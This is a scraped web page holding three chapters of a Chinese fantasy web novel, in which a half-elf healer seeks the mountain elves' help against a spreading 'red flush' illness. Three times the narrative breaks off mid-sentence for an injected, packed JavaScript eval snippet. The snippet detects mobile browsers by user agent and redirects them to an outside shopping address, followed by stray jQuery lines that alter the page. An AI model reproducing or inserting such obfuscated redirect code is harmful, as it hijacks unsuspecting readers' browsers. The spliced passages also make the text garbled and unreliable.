“当然了,有害的东西通过一些方法可以转变为有用的东西,反之亦然。不过,”塔兰微微皱起眉头,“安稳的地方通常不会有‘旅者’游荡,它们更喜欢荒野或者人口较少的山村,这样才方便它们觅食。但最近不知为何,游荡的旅者越来越多。”
“那你们的领主知道这件事吗?就是今早那个男性精灵。”粼恩问道。
“塞缪尔?不不,”塔兰哈哈笑了起来,“他只是执政官,山地精灵的领主从古至今都是女性。”
笑完,她瞧着这个只说维洛兰语,既不懂精灵语也不会通用语的小混血精灵,心情复杂。
水泽精灵喜欢迁徙,行迹难寻,粼恩的语言能力如此局限,对精灵的传统、历史、文化也不甚了解,显然从小就在一个极小的社会圈子里生活。塔兰当然知道外面那个人类王国是怎么称呼这些混血儿的,“半人”,如此傲慢的蔑视。
她叹了口气,忍不住伸手拍了拍粼恩蓬松的头发,突然提议道:“明天教你学习精灵的语言吧。”
.
夜晚,粼恩躺在床上,身下是带有植物芳香的床榻,身上盖着的是暖和柔软的被子。
她从未睡过如此舒适的床,更不用说离开家后奔波了数日,紧绷的神经终于有机会放松一会儿,可此时,她直直地盯着头上巨树枝干的脉络毫无困意,白天塔兰对她说的话,正一下一下拨弄着她的心。
树洞内没有燃灯,晚风顽皮,在长长的门帘里钻来钻去,巨树外的热闹就这样遥遥地传了进来。透过枝叶的缝隙,粼恩瞧见不远处的高塔仍亮着灿烂的灯火——山地精灵们精力充沛,高塔不分昼夜的为他们提供精神粮食。
粼恩于黑暗中坐起身子,半晌,她像是下定了决心,换上干净的精灵衣服,走出了树洞。
高塔明亮,巨树则陷在昏暗中,幸好粼恩夜晚视物能力不错,避免了因为看不清脚下的路摔下巨树的可能。尽管如此,树皮光滑,她走得磕磕绊绊,当脚踩到地上时她的脑门已经出了一层薄薄的汗。
她小心翼翼地呼出一口气,瞥了一眼头顶的树牢,神情自然地走进高塔之中。
这一路意外地顺畅,粼恩先是溜进前三层的藏书阁,书海的众多,她的运气倒很不错,找到了几本封面上描绘着植物纹理的书籍。她激动地翻开一看,却因为看不懂精灵文字干瞪眼。
差点忘了这一茬,她揉了揉眉心,苦恼地往塔上走,思考着是再找找看有没有维洛兰文字的书籍,还是抓住一个精灵问比较好。
高塔内书籍堆积如山,找到用维洛兰文字记载的药理书堪比海底捞针;抓一个精灵倒是容易,能不能和对方正常交流则是一个难题。还在为难,粼恩却在高塔中部偏上的位置闻到了一些气味。
味道很杂,动物的、植物的,甚至还有金属冰冷冷的气味,但粼恩还是从中闻到了一些熟悉的水生植物的气息。
她想要了解的东西,或许就在前方。
月光从拱形的窗户里铺陈而来,走廊里没有精灵,粼恩趴在门上侧耳细听——没有别的动静。她咬咬牙,将门推开了。
这是一个巨大的房间,橱柜占据了三个墙面以及天花板,门旁摆着一个长钩子,大概是为了方便将天花板或者高处的柜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124334|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门钩开。地面上还摆放了许多大桌子,上面堆积着许多长卷轴和处理了一半的材料,粼恩没有触碰,小心翼翼地走动了一圈,在桌子上发现几份熟悉的材料。
切成块状的水仙花根茎、剥去表皮的睡莲叶片、处理过的菖蒲,嗯,还有一些她认不出来的生物皮毛,难道是炮制过的“旅者”?
粼恩细细观察,却没有直接拿走她需要的东西,毕竟这样的行为不仅冒失,还容易连累带她参观的塔兰。
粼恩清楚,现在或许没有人在盯着她,但当她真的拿了东西想要逃出密林,那么她的下场只有一个,那就是被关进树牢中。
记住这个房间,粼恩又往高塔别的地方探索,期间她也曾遇到过一些年轻的精灵们,不过她举止低调,神情自若,并没有引起他们的怀疑。
独自将这里重新了解了一遍后,粼恩摸索着回到树洞中,她一边换回自己的衣服,一边思考她到底应该怎么做。山地精灵们肯定知道自己前来是有目的的,但他们没有点破,是在等她主动开口吗?
粼恩想不明白,然而“红晕症”一事经不住等待,目前她能想到最好的办法就是想山地精灵们陈述自己的目的和请求。
决心已下,疲倦感与困意随之席卷全身,粼恩眨了两下眼睛,不一会儿就睡着了。
.
过去二十年,粼恩一直生活在维洛兰王国的西境,与人类和混血儿们混居,不知道是不是她第一次与精灵深度接触的原因,这天晚上她做了一个梦。
她梦见有许多拇指大小的小生物从墙壁、桌椅、甚至是她的床榻上冒出来,这些小生物有的初具人形,有的则似一个光团。它们看着虽然模样无害可爱,却实在吵闹,有的脾气还十分暴躁,一上来就揪住了粼恩的尖耳朵,围着她嘀嘀咕咕地吵个没完。
粼恩听不懂它们的语言,但累了一天,休息的时候还被打扰,饶是再好脾气的人也会暴躁。粼恩闭着眼睛,没好气地锤了两下床板,这些小生物被她吓得齐齐后退,倏然钻回它们最开始冒出来的地方。
世界又安静下来,粼恩松开眉头,往更香甜的梦境下沉。
.
第二天,白日出升之际,粼恩便醒了过来。
她在树洞里瞧见了一个小盆子,它和桌椅橱柜一样,都是由巨树本身组成的,盆子的正上方垂着一个根须,新鲜的树汁正源源不断地从根须的横切面里流出来。
这是洗浴盆?
粼恩好奇地捧起树汁闻了闻,嗯,和泉水的味道差不多,还多了一点草木清香。
应该就是洗浴盆,她快速地洗漱一番,看着用剩的水往下渗,心道不妙。
为了照顾她不善攀爬,塔兰特意让她住在巨树的中底部,因此这个树洞无论是上面还是下面,都有精灵居住的。那么这水是从哪里来的,又往哪里去,粼恩不敢细想。
她甩甩脑袋,挑开门帘往外走。
此时还是清晨,太阳尚未彻底地升起来,山林向来都是浓雾深重。但在这里,晨雾很薄,染了一点浅金色的阳光,像纱一般轻轻地缀在藤蔓间。
粼恩走下藤蔓,顾不上吃早饭先往弧形宫殿赶。
宫殿前站着两排卫兵,粼恩想起塔兰的告诫,知道宫殿是处理政事的重要场所,不敢随意上前。她四处张望了一下,瞧见门前落下的山涧,干脆走到那里等候。
水汽朦胧,扑面而来很是清爽,水泽精灵喜水,粼恩忍不住伸出手,却听到身后传来一个严肃但略带几分不确定的声音——
“粼恩……医师?”
38. 第 6 章
粼恩不敢动了。
她背对着那人,手悬在半空中,僵硬地像山涧旁的一座雕塑。
这人是谁?说维洛兰语,知道她的名字,而且声音陌生,是哪个人类吗?
人类,她在维洛兰并不是什么出名的人物,能有哪个人类会记得住她的名字?还能在山地精灵的领地不被抓起来或者赶出去?!
不,等等——粼恩回想起几天前在绿云山庄的宴会,那里有不少权贵见过她的样子,知晓她的名字。他们的身份地位不凡,所以山地精灵们为了避免不必要的争端,不会贸然将其抓起来。
所以,他是谁?
这位大人物,刚刚应该没有看到她的脸或者耳朵吧?
粼恩万分紧张的思索,那个男人的声音又从背后传来,随之靠近的是他向前走近两步的脚步声。
“打扰了,请问是粼恩医师么?”
这一句话如同触发机关的指令,粼恩嗖一下站直了,她收回手拼命抓了两把头发盖住两只尖耳朵,又清了清嗓子,这才故作镇定地转过身子,冷淡地问道:“是我。还请问阁下姓名——”
映入眼帘的是一位身材高大的男子,肩宽腿长,深褐色的头发打理得一丝不苟,鬓角也修得干劲利落。他的眼窝很深,鼻梁高挺,此时阳光灿烂,因此从眉骨到眼下的位置落下了一片阴影,叫人一时分辨不出他的神色。男子的站姿文雅,显得极有教养,可气势很足,如同林中的一头高傲的雄鹿。
随着粼恩转过身子,他的目光也落在了她的身上,冷然的,不透露一丝情感。
粼恩咽了咽口水,一边在心中夸自己冷静没做出什么惊愕的表情,一边给自己鼓劲。
“克劳斯·费尔西斯。我们在绿云山庄见过一面。”男子简洁地介绍了自己的名字。
“喔,原来是费尔西斯先生。”粼恩顺着他的话应下,同时反复回忆,可惜那天绿云山庄她见了太多的人,实在想不起有这一号人物。
克劳斯看着她,垂了一下眼睫。
眼前这位粼恩医师显然一副没有想起自己是谁的样子,她忘记绿云山庄的会面,也没有马上联想到他与费尔西斯家族的关系,被人喊到名字时很慌张,着急忙慌地整理仪容仪表,为什么?因为之前很少被人关注过,现在又有了一点名气,所以不能像以前那样随便。
出身并不高,而且不注重权势,克劳斯结合那日的印象,对这个医师下了一个初步的定论。
而且,克劳斯皱了一下眉,而且她的年纪很轻。
年纪很轻的医师,之前并不出名,说明医术不是很精湛,那么她是如何治愈“红晕症”的?
见她没有主动再说话的意思,克劳斯开口了:“那日您选择前往弗朗索瓦小姐的府邸,不过几日又在精灵的地界见到了您,是因为弗朗索瓦小姐的家人已经治好了吗?”
粼恩愣了一愣,下意识开口道:“不,是因为——”因为西莱奥不愿意接受治疗,也是他叫我来此处的。
但这样的话绝对不能告诉眼前这位费尔西斯先生,粼恩定了定神,回答道:“弗朗索瓦小姐改变了治疗的意向,所以我才离开。”
“噢?”费尔西斯先生像是很意外,“我见弗朗索瓦小姐那日很是激动,没想到最后却改变了治疗意向,是因为患者病情太重,还是患者不愿意配合治疗?”
粼恩听了,有些懊恼地抿紧了唇。费尔西斯先生言辞简洁犀利,又很能看破问题本质,一下子就把事实猜中了,实在可恶。
她不想继续和他对话,生怕把自己的“半人”身份也说漏嘴了,于是侧回身子,看向通往弧形宫殿的路,着急地想塔兰或者那位塞缪尔大人怎么还没出现。
她是放弃对话了,可有人很是难缠。
费尔西斯先生走到她身侧,看向精灵的宫殿,用一种谈论今日天气不错的语气继续说道:“我来此处是为了向精灵求取能够治疗‘红晕症’的药物。粼恩医师是因为什么?您的医师能治愈费舍先生,自然不会有我这般的烦恼,您是来与精灵交流医术的吗?”
他的问题处处是陷阱,粼恩只觉得后脑勺都要开始流汗了。
早知道先去吃了早饭再来,何必肚子空空又见这审讯大师!
粼恩咬了咬牙,不知如何回答之际,道路的尽头出现了一个熟悉的身影。
是塔兰!
她顾不上和费尔西斯再说些什么,急匆匆地跑上前去。
.
今天是个阳光明媚的日子,塔兰走在通往弧形宫殿的路上,此前她已经听过侍卫的汇报,粼恩此时正在宫殿前等候,应该是有什么事要找她。
找她做什么呢?塔兰不由得猜测。
昨天他们没有将粼恩关起来,而是带她参观了小半个安全的领地,这当然不只是好心。毕竟她有一半的精灵血脉,一上来就审讯实在不好看,更何况对他们这些年寿更长的精灵而言,粼恩实在像个没吃饱饭的小孩子,还不如将她放在领地里看她想做些什么来的方便。
根据侍卫的汇报,高塔里的书籍果真是她的首要目标,但处理过的动植物材料又是怎么一回事呢?
塔兰暂时没有想清楚,不过粼恩没有拿走任何一件东西,这确实增加了些许好感。无论她出于什么目的没有擅动,都是明智的。
快走到宫殿时,塔兰瞧见一个略显消瘦的身影朝她小跑过来,正是粼恩。
让她略有些意外的是,粼恩的身后还站着一位不讨喜的来客。
北境的克劳斯·费尔西斯先生。
他们怎么会站在一起?还是先前就已经认识?
塔兰蹙眉,难道说粼恩其实不是独自来此,而是与这个人类一同前来?如果是这样的话,那么则要更加谨慎地对待了。
她的心中闪过千思万绪,还未就此判断,粼恩已经绷着一张脸跑到她身前。
“塔兰。”她的语气似乎很慌张,一副想要往后瞧又硬生生停住的样子。
果真是本来就认识?
塔兰敛下情绪,问道:“怎么了粼恩,这么匆忙?”
“我,”粼恩顿了一顿,“我原本有事情找你,但是在宫殿门前偶遇了你们的客人。我想,客人的事情更加重要吧,所以你今天忙完后有时间来找我一下吗?”
偶遇了客人?
很聪明的说法,塔兰往粼恩身后瞥了一眼,克劳斯对她微一颔首。
思量片刻,塔兰对粼恩微笑道:“没关系,费尔西斯先生是塞缪尔的客人。”
“伊文,”她看向宫殿前的卫兵,用通用语道,“带费
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137207|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尔西斯先生去见塞缪尔。”
“是,塔兰大人。”
见克劳斯跟随卫兵朝宫殿上方走去,塔兰也将粼恩带到宫殿一层的花园中,让粼恩去石桥旁坐下后,又到小厨房里取了一些食物。
“听侍卫说,你今早还没有吃早餐,先吃点东西再说吧。”
闻言,刚拿起一杯蜜露的粼恩顿了一下,意识到昨晚夜访高塔的事情塔兰一定也知道了。她抿了抿唇,看着塔兰温和却不容拒绝的眼神,还是先将早餐吃完了。
烤得恰到好处的面包,柔软甜蜜的无花果松饼,以及带有清香的花汁蜜露,一顿丰盛的早餐粼恩却有些食不下咽。勉强吃了一半,粼恩喝了点蜜露润喉,颇为紧张地看向塔兰。
应该如何措辞呢?她既不会费舍那般华丽的言辞腔调,也不太想顾左右而言他。
沉默片刻,粼恩直接开口了:“塔兰,我来这里的目的,是想寻求你们的帮助,探寻‘红晕症’的源头。”
寻求精灵的帮助,探寻红晕症的源头?
塔兰挑了挑眉,没有质疑她的说法,而是问她:“为什么觉得精灵会提供帮助呢?”
粼恩愣了一下:“我最开始想找那些最先得病的人探查源头,但一个朋友说这样的办法太慢,并建议我来这里。”
“一个朋友?也是水泽精灵的混血儿?”
“不,应该不是。我猜,他应该是山地精灵与人类的混血儿,他的头发有着和你们一样的颜色。”
“山地精灵与人类的混血儿,他叫什么?”
“他叫西莱奥。”粼恩回答道。
此话一出,塔兰的脸色瞬间变了。
她脸上惯有的温和骤然褪去,一种冷色调的复杂情绪攀上了她的肩膀。
难道塔兰认识西莱奥吗?
看着她的脸色,粼恩心中有些不安,她的脸色不算好看,是因为之前与西莱奥有什么过节吗?
无言地沉默半晌,塔兰才慢吞吞地问:“西莱奥,他在哪儿?”
“他在南境居住。”粼恩见塔兰的样子不太对,于是隐去大部分信息,只说了他的位置。
塔兰却冷笑一声,一改亲和的语气:“养育他这么多年,住得还这么近,却从来没有回来过一次。想必在人类世界过得很滋润吧?”
这误会可就大了,想到西莱奥被关在无法接触阳光的屋子,还有他孱弱的身体,粼恩连忙解释:“不是的,他,他过得不太好,他还得了‘红晕症’。我之所以前往南境也是为了给他治疗,可他不愿意。”
“不愿意,他为什么不愿意?”塔兰刚才还很怨愤,听到西莱奥病了不愿意治疗,语气又急躁了起来。
因为比起健康,他现在更需要自由吧。
粼恩也沉默了下来,两人无言地坐着,一旁的睡莲散发着幽幽清香。
这确实是一个明媚的日子,花园里植物茂盛生长,也许是精灵照顾的原因,就连花朵也比外面的大上许多。虫鸣鸟叫,十分热闹。
在这样的环境氛围下,塔兰慢慢地从那种阴郁的情绪中脱离出来,她看向粼恩,语调也恢复了些许从容:“刚刚你说你可以治疗‘红晕症’,我听闻这种疾病肆虐了一段时间,并且十分难治。粼恩,你可以告诉我你是如何治疗它的吗?”
39. 第 7 章
弧形宫殿的视野很好,站在半圆形的露台上,克劳斯可以很清楚地看见山地精灵的执政官塔兰与那位粼恩医师坐在花园的石桥旁,似乎关系不错,相处融洽。
克劳斯不相信塔兰是随便选了一个地方和粼恩坐着,她知道站在宫殿上层可以瞧见花园,也知道自己在这里,所以她在这儿坐着的目的是什么?
“费尔西斯先生这么认真地看着我的妻子和她的客人,是有何意?”观察被迫中断,克劳斯转过头,对上塞缪尔不满的眼神。
一涉及妻子满脑子只剩下占有欲和疑神疑鬼的傻子精灵。
克劳斯在心底毫不留情地评价,但他现在确实有事相求,因此将讥讽吞回肚子里,只有向上抬的唇角流出一丝冷笑。
“您说笑了,塞缪尔大人。”
“在塔兰的事情上,我从不说笑,”塞缪尔毫不客气地顶了回来,他重重地坐下,一抬下巴,“与其这么关注旁人的伴侣,不如考虑考虑我昨天说的话。”
“一本精灵古籍。这件事恐怕没这么简单吧?”克劳斯一针见血地指出。
“当然了,”塞缪尔晃了晃脚尖,“但目前应该是你们的情况更加紧急吧?我们信任费尔西斯家族,愿意以一瓶缓解药剂以示我们的诚意,真正的解剂也需要时间炼制,您意下如何呢?”
……
这场谈判着实不让人愉快,克劳斯离开半圆形露台时,发现花园里的两人已经离开了。
他垂下眼帘,也离开了弧形宫殿。
.
“我在水中找到了一种植物,它的果实有毒,根部却有解毒的效果。”粼恩一边说明,一边从自已随身携带的小腰包里拿出一个小瓶子和一个布包。
被切成条状的根茎浸泡在小瓶子里,剥了皮的果实则被包在布包中。
尽管被处理过,塔兰还是一眼认出了这种植物。
“这是,这是‘宁芙的挽歌’!”塔兰低声喃喃道,不可置信地看向粼恩,“果实剧毒,根茎炮制后可缓解众多毒素的蓝叶藻,你是在哪里发现它的?”
这种剧毒与解药皆为一体而被精灵们称为“宁芙的挽歌”的植物叫做蓝叶藻,它通常在极深的水域生长,茎叶长且茂盛,一蓬一蓬的如同水下森林,银白色的果实仅豌豆大小,鱼卵一般缠绕在靠近根茎的位置。
在水波与光影的影响下,蓝叶藻就像水妖的发丝,迷惑人的视线,导致采摘起来十分困难,不过粼恩有水泽精灵的血脉,倒也可以理解。可是,她是如何发现这种植物,又是得知它的效果的?
“这倒是偶然,我从小就在西境一个‘半人’聚居地生活,那里靠近一个矿区,附近还有一大片水域。小时候,我和家里人喜欢一起去那儿探险玩耍,有时候在水下发现了新奇的动植物,我们也会带到岸上。可以吃的就带回家,不能吃的就丢一旁,这种植物就是在那时候发现的。
“意外将它捞上来的那天,我们觉得它看着不像食物就丢在岸上,等到第二天再去的时候,恰巧看见一头鹿吃了它的果实,结果没多久就倒在地上了,”粼恩回忆道,“我们吓了一大跳,当时还以为那头鹿被毒死了,想走又不敢走,直到看见它挣扎着爬起来,把根茎和叶脉也嚼碎了吞下去,不知过了多久,它居然也能慢慢地爬起来走动了。”
“这一次红晕症,最开始是从‘半人’之中开始蔓延的,我的家人也得了这种病。情况紧急,我们试了很多药物,但都没有效果,本以为没有希望了,直到突然想起它。”想到这儿,粼恩陷入了沉默。
她所谓的“家人”,实际上与她并没有任何血缘关系。她是被一位人类与矮人混血的女性抚养长大,家里其他的几个小孩也都是这样。
她是一个没有爸爸妈妈的混血儿,自有记忆起就在聚居地流浪,饥一顿饱一顿,是玛琳娜收留了她。也是遇到玛琳娜后,粼恩才有了妈妈,有了家,有了兄弟姐妹。不同种族的混血儿一起生活,他们虽不富裕,但是过得很幸福。
小时候,粼恩会和哥哥到湖边摸鱼,无论大鱼小鱼还是没有鱼,玛琳娜都会夸他们是最可爱的尖耳朵们。她的手艺很好,矮人擅长锻造,玛琳娜对温度的把控也十分准确,每次烤好的鱼总能馋得几个小孩肚子咕咕叫。
等到了冬天,西境虽不如北境寒冷,但也会下雪,玛琳娜会带着大孩子们到市集里购买过冬需要的物资,小孩子们则会待在家里编织麻草,熬煮热汤。当所有人都回了家,蘑菇汤也煮得差不多了,一碗下去,热乎乎的驱散寒气。
这样温暖的冬天周而复始地过了十几次,去市集的人也从玛琳娜带着她和哥哥,变成了粼恩带着弟弟妹妹。直到这一次,玛琳娜再也没有力气准备过冬的物资,哥哥也在七年前失踪了,现在,轮到粼恩撑起这个家。
不是母亲却胜似母亲的玛琳娜得了红晕症,躺在床上奄奄一息,粼恩怎么可能不着急?
她买过昂贵的药剂,还请过镇上有名的医师,却都没有什么效果。看着玛琳娜日渐虚弱,粼恩不知所措,痛苦万分。
为了生活和治病,家里积攒起来的钱像永不回头的河水一般流走了,玛琳娜的病却怎么也不见好,粼恩不想让她担心,只能躲到湖边流眼泪。同时也是在这里,她突然回想起了当年那种奇特的植物。
粼恩向塔兰解释:“这种植物,也就是蓝叶藻,它能缓解甚至解除大部分毒素。当时我也是抱着试试的心态给玛琳娜服用,没想到居然有不错的效果,这也是我想探寻‘红晕症’源头的原因——它到底是一种疫病,还是毒素?”
“蓝叶藻的根茎确实有很好的治疗效果,而且温和无害,不会产生什么奇怪的副作用。但像你说的‘红晕症’,我并不认为单是蓝叶藻的根茎就能治好她,你一定做了什么,”塔兰扶住粼恩的肩膀,眼神怜爱,语气却很严肃,“或者说,你付出了什么?”
粼恩愣愣地看着塔兰,没想到塔兰居然这么快就意识到她隐瞒的东西,但转念一想,塔兰是精灵,而她所做的也是利用了精灵的血脉,塔兰能看出来也不例外。
既然如此粼恩也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146073|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不想再隐瞒,她将左臂的袖子卷起,原本白皙的手臂上晕着大小不一的红斑,甚是惊人。
“蓝叶藻可以解除大部分毒素,但是玛琳娜的身体却还是很孱弱,”粼恩摸了摸手臂上的红晕,“这种感觉很难形容,但当我试着用黄鸢尾与驴蹄草混杂在一起捣碎,药汁让她服下,碎屑敷在她的皮肤上持续按压时,我感到某种痛苦正从她的身上转移到我的身上,而我的左臂也开始生长红斑。
“幸好玛琳娜的身体开始好转,大部分红斑消退的时候,她已经可以下地慢慢行走了,我服用了蓝叶藻,红晕症的痛苦与症状并没有在我身上展现多少。”
“但你仍感染了‘红晕症’,确切的说,应该是你不会感染旁人,但你将你母亲身上的残余的毒素转移到你的身上!”塔兰握着粼恩肩膀的手不断收紧,“你知道这意味着什么吗?!”
她的言辞激烈,但粼恩并无悔意:“我不知道,但我知道我不能没有妈妈。”
这句哈很轻,却重重地将塔兰钉在原地,半晌,她甩开攥住粼恩的手,冷哼一声在屋内来回走动。
她们正在弧形宫殿地下的一间屋子里,头顶上有一株倒着生长的植物,半透明的花瓣散发着柔和的流光,将塔兰的影子左一下右一下地摇晃。
“愚蠢的女孩!”转了好几圈,塔兰像是再也无法忍受一般冲到粼恩面前,双手紧紧地握住粼恩的双臂,“你根本不知道你拥有什么,又做了些什么!我问你,除了你的母亲、你的家人,你还有将其他人身上的毒素转移到你自己自己身上吗?!”
粼恩被迫在原地晃了晃,听了塔兰的话,她仔细地回忆了一下:“最开始的几个邻居有,但后来我有想过能不能将它转移到其它动物身上去,居然也可以,所以……”
她的语气低落了一瞬:“后来,我就将那些无法直接解除的毒素转移到家畜身上去了。”
听完,塔兰大大地松了一口气,她松开双臂,苦笑着摇了摇头:“那还不算太蠢。”
霞光一般的长发从塔兰的肩头落下,阴影遮蔽了她的神色,粼恩静静地站在原地,过了一会儿才听到她的声音:“你知道吗?不是所有精灵都有你这般的能力,可惜,可惜你是一个混血儿,没有长辈指导,浪费了生来的天赋——贸然将毒素转移到身上,不仅会折损你的寿命,还会导致你的能力衰退。”
她叹了一口气:“总之,别再干那种蠢事了。从明天开始,我来教你学习并运用这种能力,现在我们要做的是将你体内残余的毒素祛除。”
.
与塞缪尔的交谈不欢而散,克劳斯从弧形宫殿离开回到精灵安排给他的暂时住处。
这里布置得很舒适,但克劳斯并没有放松半分,他凝神思考了片刻,起身走到树洞门口,挑开门帘,他往维洛兰王国的方向眺望,阳光正无私地落在大地上,一片祥和。
他像是下定了某种决心,屈起手指抵到唇边,吹出一段悠长的哨音。
逆着阳光,一只大鸟扑朔着翅膀从林中飞来。
40. 第 8 章
一只渡鸦扑朔着翅膀,落到克劳斯抬起的手臂上。
“呱呱。”渡鸦发出打招呼一般拖长沙哑的喉音,歪头抖动起蓬松的颈羽,墨色的羽毛在阳光下泛着紫蓝色一般的金属光泽。
“小芒。”克劳斯伸手摸了摸鸟喙连接脖子的那个部位,看着它张大鸟喙做出一副要叼他的动作,霜寒已久的脸也慢慢地融化了些许。
他从胸前的口袋里摸出一小把坚果放到桌上,渡鸦小芒就从他的手臂上跳下来,非常自然地用爪子勾起坚果开始吃。
克劳斯又摸了一把它毛茸茸的脑袋,坐在一旁沉思片刻,取出纸笔开始写信。
信的内容当然是与塞缪尔的谈判有关,山地精灵虽然没有针对“红晕症”的治疗药剂,但他们比人类更加贴近自然,对各种植物草药更加熟悉。克劳斯不认为人类医师提出的治疗方案会比精灵的缓释药剂更有效——放血,开颅手术,或者截肢,说不定“红晕症”还未彻底发作,北境境主就先因失血而亡了。
至于丰赐圣母教的治疗,费尔西斯家族派往中心城调查的人至今没有任何消息反馈。中心城势力众多,交涉起来比精灵更加复杂,如此看来,接受精灵的条件,是最好的选择。
然而塞缪尔提出交换的,不是什么珍宝权势,是一本精灵古籍。
仅仅是一本精灵古籍。
这让克劳斯心生疑窦。
如果是一本普通的精灵古籍,塞缪尔何必需要人类寻找?但如果这本古籍很重要,为何精灵要委托人类?
此事疑点颇多,但情况紧急,克劳斯必须考虑应下这个条件。
他写下几封信,一封发完北境家中,剩下两封则送往不同地方。收好信纸封蜡,克劳斯将信放到小芒脚上的信筒中,又揉了揉渡鸦热乎乎的身体,手背果不其然收到了几下轻啄。
克劳斯并不在意,叮嘱了小芒几句,便看着它飞向天际。
.
自从粼恩将红晕症一事与塔兰说开后,她们二人就一直待在弧形宫殿那间地下房间,几乎连吃饭和休息都在那里进行。
这让粼恩对精灵语言及药剂有了初步了解的同时,也引来了塞缪尔的不满。
每当她坐在一旁吃东西或休息放松的时候,粼恩总能在房间外面看到一个似乎偶然实则刻意晃悠的塞缪尔。
与她最开始见到塞缪尔时,他表现出来的矜贵自持不同,塞缪尔十分粘人,有事没事就环抱着塔兰说悄悄话,又大声抱怨夫妻二人聚少离多,摆出一副怨夫相。
塔兰却不惯着他。
面对塞缪尔,塔兰不像平时展现的那么温和,她对他翻白眼,语气也总是嫌弃,还常常把塞缪尔凑过来的脸大力地推到一旁或者叉着腰把他赶走。
这看着就像塞缪尔单方面的痴缠,可粼恩却微妙地觉得塔兰正乐在其中。
但弧形宫殿是处理政事的地方,粼恩担心她们在这里研究会不会不合适,领主是否会不高兴,也曾问过塔兰为什么不去高塔,明明那里有更多的书籍和材料。
然而这样的考虑却得到了塔兰无奈的目光。
“好吧,”塔兰长长地叹了一口气,指头戳了戳粼恩的脑门,“看来你真的什么都不知道,但凡你之前真的有了解过一些精灵的语言文字,那天晚上探索的时候你就会发现高塔里的不过是些最基础的东西。”
她一边安抚粼恩领主已知晓此事,让她放宽心,一边抬高手臂,将头顶那朵倒着生长的花摘了下来。
霎时,房间内陷入一片昏暗,地上徒然生长出许多粼恩叫不出名字的奇异植物——肥厚的叶片,巨大的花萼,每一株都长到人的腰部或者胸口。
花托上的花朵硕大无比,足有人头大小。花株无风自动,有规律似的轻轻摇摆,花瓣上的脉络泛着微弱的柔光,一明一暗,繁密的花蕊却像无数根触手紧紧团在一起,像是包裹着什么东西。
粼恩被这场景吓了一跳,随后又惊奇地左顾右盼。她瞧见塔兰在花株间穿梭,好似随意地选中其中一朵,接着塔兰伸手探向花的中心,手指轻柔地剥开花蕊,露出了被花蕊包裹的东西——那居然是一片小小的碗装叶子,里面盛满了半透明的液体。
塔兰将那片叶子摘了下来,液体随着她的动作轻微晃动,在叶面上留下一道道荧光。摘走了叶片,那朵花的花蕊像最开始一样自动闭合,花瓣也收束起来,变回花苞的形态。
“喝了它,”塔兰嗅了嗅液体的味道,露出满意的神色,她拽过粼恩的手,将叶片塞过去,语气里带着一丝难以掩盖的亢奋,“让我瞧瞧它的效果。”
闻言,粼恩犹豫了一瞬,最终还是在塔兰兴奋的眼神中将液体一饮而尽。
液体刚入口,粼恩只觉得味道又苦又酸,舌头好像突然被捶打了千百遍,味觉都要跟着丧失了。她差点维持不住面上的表情,急忙一口喝下,也直到这时,粼恩才察觉到液体十分粘稠,她使劲咽了好几下,喉咙深处还挂着半碗似的。
她皱起脸,只想干呕,塔兰却拽住她长有红斑的手臂急切道:“闭眼,听我指示,深呼吸——”
吸气,呼气,再吸气——
粼恩竭力放松,跟随塔兰的指令动作,她感觉左臂慢慢发热,像浸泡在热水一般,但渐渐的,左臂越来越烫,血液沸腾一般流动,粼恩难以自抑地颤抖,下意识想要挣脱,左腕却被塔兰紧紧攥着:“深呼吸!坚持住!”
这种痛苦也不知经历了多久,粼恩因忍耐而紧闭的双眼前忽然飞出许多小生物,耳边也被它们叽叽喳喳地吵个不停,就像梦中见过的那一次一样。
她不由得一惊,眼睛下意识地睁开,小生物们呼地消失不见,左臂也不再发烫。
我这是……幻觉吗?
粼恩茫然地瞄了一眼塔兰,又看向自己左臂。她心中忐忑,以为自己突然睁眼导致试验失败,却发现左臂上的红斑居然消失不少!
“效果不错啊!”塔兰很是满意,她将放在粼恩左手下的碗装叶片拿上来对着粼恩展示,“你看,排出了不少呢。”
这枚叶片里原本盛的是给粼恩喝下去的药剂,现在装的却是从粼恩左臂里“蒸腾”出来的“毒素”。
红红的,粘稠的液体,正浅浅地铺在叶片之上。
“这是‘红晕症’带来的毒素?”粼恩好奇地俯
